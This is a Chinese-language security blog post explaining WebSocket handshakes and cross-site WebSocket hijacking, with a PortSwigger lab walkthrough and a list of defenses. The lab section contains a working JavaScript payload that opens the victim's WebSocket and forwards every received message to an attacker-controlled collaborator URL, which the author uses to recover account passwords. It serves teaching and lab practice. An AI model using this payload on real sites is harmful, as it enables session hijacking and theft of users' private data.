浅析websocket劫持

VSole2022-07-15 15:43:18

WebSocket劫持漏洞导读

WebSocket协议技术

WebSocket是HTML5推出的新协议,是基于TCP的应用层通信协议,它与http协议内容本身没有关系。WebSocket 也类似于 TCP 一样进行握手连接,跟 TCP 不同的是,WebSocket 是基于 HTTP 协议进行的握手,它在客户端和服务器之间提供了一个基于单 TCP 连接的高效全双工通信信道

websocket是持久化的协议,而http是非持久的

当通信协议从 http://或 https://切换到 ws://或 wss://后,表示应用已经切换到了WebSocket协议通信状态

WebSocket连接的建立需要经过连接请求、握手、连接建立三个步骤,如下图

建立WebSocket连接

WebSocket连接通常是使用客户端JavaScript创建的

var ws =newWebSocket("wss://normal-website.com/chat");

//该`wss`协议建立在一个加密的TLS连接的WebSocket,而`ws`协议使用未加密的连接。

为了建立连接,浏览器和服务器通过HTTP执行WebSocket握手。浏览器发出WebSocket握手请求,如下所示:

GET /chat HTTP/1.1Host: normal-website.comSec-WebSocket-Version: 13Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==Connection: keep-alive, UpgradeCookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2Upgrade: websocket

如果服务器接受连接,则它将返回WebSocket握手响应,如下所示:

HTTP/1.1 101 Switching ProtocolsConnection: UpgradeUpgrade: websocketSec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

此时,网络连接保持打开状态,并且可以用于向任一方向发送WebSocket消息。

请求和响应中 的Connection和Upgrade标头表示这是WebSocket握手

WebSocket安全漏洞

原则上,由于WebSocket涉及多个层面,任何与WebSocket有关的web安全漏洞都有可能出现

•传输到服务器的用户的输入以不安全方式处理,出现SQL注入或XML外部实体注入等

•通过WebSockets达到的某些盲洞(blind vulnerabilities)可能仅可使用带外(OAST)技术才能检测到

•如果攻击者控制的数据通过WebSockets传输到其他应用程序用户,则可能导致XSS或其他客户端漏洞

本文主要讲探讨的是跨站WebSocket劫持漏洞-CSWSH

跨站WebSocket劫持漏洞

什么是跨站WebSocket劫持漏洞

Websocket带来的安全特性在一定程度上缓解了一些特性的攻击,但在日渐发展的攻击方式下,其相关漏洞也不断曝光,其中最常见的漏洞是CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞

我们可以看见WebSocket的链接过程与http是极其相似的,WebSocket协议在握手阶段是基于HTTP的。它在握手期间是没有规定服务器如何验证客户端的身份,因此,服务器需要采用http客户端认证机制来辨明身份,如常见的cookie、http头基本认证等。这就导致了容易被攻击者利用恶意网页伪装用户的身份,与服务器建立WebSocket连接

CSWSH与跨站请求伪造CSRF的漏洞原理极其类似

相较于CSRF漏洞只能发送伪造请求,跨站WebSocket劫持漏洞却可以建立了一个完整的读/写双向通道,且不受同源策略的限制,这在很大意义上都造成了更大的危害和可操作性

跨站WebSocket劫持漏洞可能带来的影响

•执行伪造成用户的未授权操作

 与常规CSRF类似,攻击者可以伪造成用户利用生成的WebSocket通道以执行一些敏感操作

•检索用户可访问的敏感数据

 与常规CSRF不同的时,CSWSH是建立一个可双向交互的通道,当客户端向用户发送敏感数据时,攻击者可以将其拦截并记录得到敏感信息

跨站WebSocket劫持漏洞靶场演示

靶机环境

•靶场

 借助于burpsuite练兵场

 Lab: Cross-site WebSocket hijacking | Web Security Academy (portswigger.net)

•浏览器环境

 edge浏览器

靶场解析

•点击启动靶场

 

•观察发现存在实时聊天界面,观察发现没有CSRF的令牌

•将代码复制到body

  var ws =newWebSocket('wss://your-websocket-url');  ws.onopen=function() {    ws.send("READY");  };  ws.onmessage=function(event) {    fetch('https://your-collaborator-url', {method:'POST',mode:'no-cors',body:event.data});  };

•wss://your-websocket-url替换成目前url

•https://your-collaborator-url替换成Burp Collaborator Client或自己搭建的Burp Collaborator 服务器

•可以点击view exploit测试,也可以直接发给攻击方

 

 

•然后在Burp Collaborator Client多poll几下

•翻看一下得到账号密码

 

然后我选择再用dnslog验证一遍

确实可以带出数据,执行敏感操作

如何防范跨站WebSocket劫持漏洞

•校验Origin头

•双向将WebSocket传输数据视为不可信

•对WebSocket握手信息进行加密保护

•硬编码WebSockets终结点的URL

websocketws
本作品采用《CC 协议》,转载必须注明作者和本文链接
WebSocket 测试入门篇
2023-02-08 15:56:52
这种传统的模式带来很明显的缺点,即浏览器需要不断的向服务器发出请求,然而 HTTP 请求可能包含较长的头部,其中真正有效的数据可能只是很小的一部分,显然这样会浪费很多的带宽等资源。浏览器通过 JavaScript 向服务器发出建立 WebSocket 连接的请求,连接建立以后,客户端和服务器端就可以通过 TCP 连接直接交换数据。
Amazon SageMaker 是一项完全托管的机器学习服务。借助 SageMaker,数据科学家和开发人员可以快速轻松地构建和训练机器学习模型,然后直接将它们部署到生产就绪的托管环境中。
某日, 我的同学突然 @crane 问我有没有能检测 burp 的方法. 突然想起来之前就看见过别人的 burp 被拦截, 但是当时测试下来由于我的 burp 不会被拦截, 所以就没有太在意. 现在回想起来有点在意为什么会出现这种检测上的选择性, 于是刚好学习一下相关方法了解原因。
Jupyter Lab介绍JupyterLab 是一个基于 Web 的 Jupyter 笔记本、代码和数据的交互式开发环境。我们有self XSS 时,另一个值得关注的目标是 cookie。我检查了 cookie 并且_xsrf cookie 引起了我的注意。如果打开此设置,则需要检测通过 POST 提交的所有表单以包含此字段。
最近,看到网上有安全研究人员发布了一篇文章,描述了一款在?为此,笔者对该内存马的原理进行了分析,并在此提出了一种检测该内存马的思路,可以帮助安全人员检测出此种类型内存马,从而降低业务系统安全隐患。笔者写了一个简单的 jsp 检测脚本,访问该 jsp 就能打印出所有的 ws 服务。
浅析websocket劫持
2022-07-15 15:43:18
WebSocket劫持漏洞导读WebSocket协议技术WebSocket是HTML5推出的新协议,是基于TCP的应用层通信协议,它与http协议内容本身没有关系。为了建立连接,浏览器和服务器通过HTTP执行WebSocket握手。此时,网络连接保持打开状态,并且可以用于向任一方向发送WebSocket消息。
Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE
本文将介绍不依靠DPAPI的方式获取Chromium内核浏览器Cookie
一种全新的内存马
2022-12-13 10:56:20
前言WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然。主流浏览器以及一些常见服务端通信框架都对WebSocket进行了技术支持。版本2013年以前还没出JSR356标准,Tomcat就对Websocket做了支持,自定义API,再后来有了JSR356,Tomcat立马紧跟潮流,废弃自定义的API,实现JSR356那一套,这就使得在Tomcat7.0.47之后的版本和之前的版本实现方式并不一样,接入方式也改变了。
实战 | 钓鱼网站分析
2022-08-17 21:59:51
主要是信息收集
VSole
网络安全专家